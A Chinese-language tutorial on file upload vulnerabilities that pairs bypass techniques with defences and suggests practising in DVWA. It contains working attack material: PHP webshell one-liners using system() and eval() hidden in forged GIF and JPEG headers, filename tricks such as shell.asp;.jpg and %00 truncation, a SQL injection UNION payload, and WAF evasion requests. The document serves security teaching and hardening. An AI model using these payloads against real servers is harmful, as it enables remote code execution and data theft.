文件上传漏洞攻防全解析
一、黑名单绕过技术
1. 基础绕过手法
实现原理:
php
// 未统一处理大小写的检测逻辑
if($ext == 'php') die("禁止上传"); // 可上传Php/PHP后缀
绕过方式:
-
大小写变形:Php/PHp等混合写法
-
特殊符号利用:
php// 未过滤特殊字符的保存逻辑 $file = $_FILES['file']['name']; move_uploaded_file($tmp, $file); // 允许shell.asp;.jpg上传
防御意义:
统一转换文件后缀为小写,过滤特殊字符可有效防止基础绕过,这是文件上传防护的第一道防线
2. 解析漏洞组合
IIS6.0双重解析:
php
// 未验证目录合法性的路径拼接
$save_path = "uploads/".$_GET['dir']; // 攻击者可构造/upload.asp/目录
Apache多后缀解析:
php
// 未清理多重后缀的检测逻辑
$ext = pathinfo($name, PATHINFO_EXTENSION); // 识别shell.php.xxx为xxx
绕过原理:
利用中间件对文件路径的特殊解析规则,通过构造特殊目录或后缀组合触发非预期解析
二、白名单突破方案
1. 截断攻击
php
// 未过滤%00字符的路径拼接
$save_path = $_GET['path'].$name; // 通过path=shell.php%00截断
技术意义:
空字符截断是PHP环境的经典漏洞,利用字符串处理特性截断后续检测逻辑
2. 逻辑漏洞利用
数组路径拼接:
php
// 直接拼接数组元素的危险写法
$save_name = implode('', $_POST['save_name']); // 构造upload/../路径
MIME伪造:
php
// 仅检测客户端MIME的漏洞代码
if($_FILES['type'] == 'image/jpeg'){...} // 可修改为image/png绕过
绕过要点:
服务端必须进行完整的MIME类型检测,不能依赖客户端提交的Content-Type
三、主流中间件解析漏洞
| 服务器 | 触发条件 | 代码审计缺陷示例 |
|---|---|---|
| IIS6.0 | 目录含.asp或分号 | 未过滤;符号:shell.asp;.jpg |
| Apache | 多后缀+AllowOverride开启 | 未禁用.htaccess:AddType php .abc |
| Nginx | fastcgi_split_path配置错误 | 未校验URI路径:shell.jpg/xxx.php |
防御意义:
理解中间件特性可帮助安全人员针对性加固,如关闭不必要的解析特性
四、代码审计实战
漏洞代码1(MIME检测缺陷)
php
if ($_FILES['type'] == 'image/jpeg') { // 可被BurpSuite修改
move_uploaded_file($tmp_name, 'uploads/'.$name);
}
审计要点:
必须使用服务器端MIME检测(如finfo_file),而非客户端提交的Content-Type
漏洞代码2(黑名单不完整)
php
$deny_ext = array('.php','.asp'); // 未包含.htaccess
if(!in_array($file_ext, $deny_ext)) {
save_file(); // 可上传.htaccess控制解析规则
}
修复方案:
使用白名单机制并禁用配置文件上传
五、高级绕过技巧
1. 二次渲染绕过
php
// GIF文件注入案例
header("Content-Type: image/gif");
echo "GIF89a<?=system($_GET['c']);?>"; // 保留未被覆盖的注释区
技术原理:
利用图像处理库保留未修改的注释区域植入恶意代码
2. 文件头伪造
php
$payload = "xFFxD8xFFxE0<?php eval($_POST['x']);?>";
file_put_contents('fake.jpg.php', $payload); // 绕过图片校验
检测防御:
需校验文件头与文件内容的一致性
3. 条件竞争攻击
python
# 持续访问临时文件
while True:
requests.get('http://target/uploads/tmp_ABC123.php')
攻击原理:
利用文件上传与删除的时间差执行恶意脚本
六、防御方案推荐
后缀处理
php
// 强制重命名 + 白名单
$new_name = md5($name).'.'.whitelist_ext;
安全意义:
消除用户控制文件名带来的风险
内容检测
php
// 校验文件头
$valid_headers = ["FFD8FFE0", "89504E47"];
if(!in_array(bin2hex($header), $valid_headers)) die();
防御纵深:
多层检测机制提升绕过难度
存储隔离
nginx
location ^~ /uploads/ {
deny all;
php_flag engine off; # 禁用PHP解析
}
架构安全:
物理隔离不可执行目录是最后防线
日志监控
bash
# 监控.htaccess修改
auditctl -w /var/www/uploads/.htaccess -p wa -k upload_attack
监控要点:
实时警报关键文件的变更
七、WAF绕过专项
专业的【WAF剖析】------文件上传之安全狗bypass_文件上传bypass-CSDN博客
协议层绕过
http
POST /api/v1/user HTTP/1.1
Content-Type: application/json
{"id": "1' UNION SELECT 1,@@version-- "}
绕过原理:
利用WAF对非标准请求的解析差异
垃圾数据填充
http
------geckoformboundary75ef3d107827522a6f96b7f02c7fa7dc
Content-Disposition: form-data; name="upload_file";aaaaaaaaaaaa(5000个a);filename="shell.php"
技术意义:
通过超长参数干扰WAF的正则匹配引擎
参数污染
http
filename="shell.jpg"
filename="shell.php" # 重复参数利用解析顺序差异
防御方案:
WAF需标准化处理重复参数
防御体系构建原则
- 纵深防御:组合使用后缀过滤、内容检测、存储隔离等多层防护
- 最小权限:上传目录禁用执行权限,数据库使用低权账号
- 持续监控:日志分析结合WAF实时防护
- 漏洞修复:定期更新中间件和图像处理库
🔥 实验建议:在DVWA上传模块实践各绕过手法,使用Burp Suite修改上传请求的十六进制数据,观察不同防御机制的效果。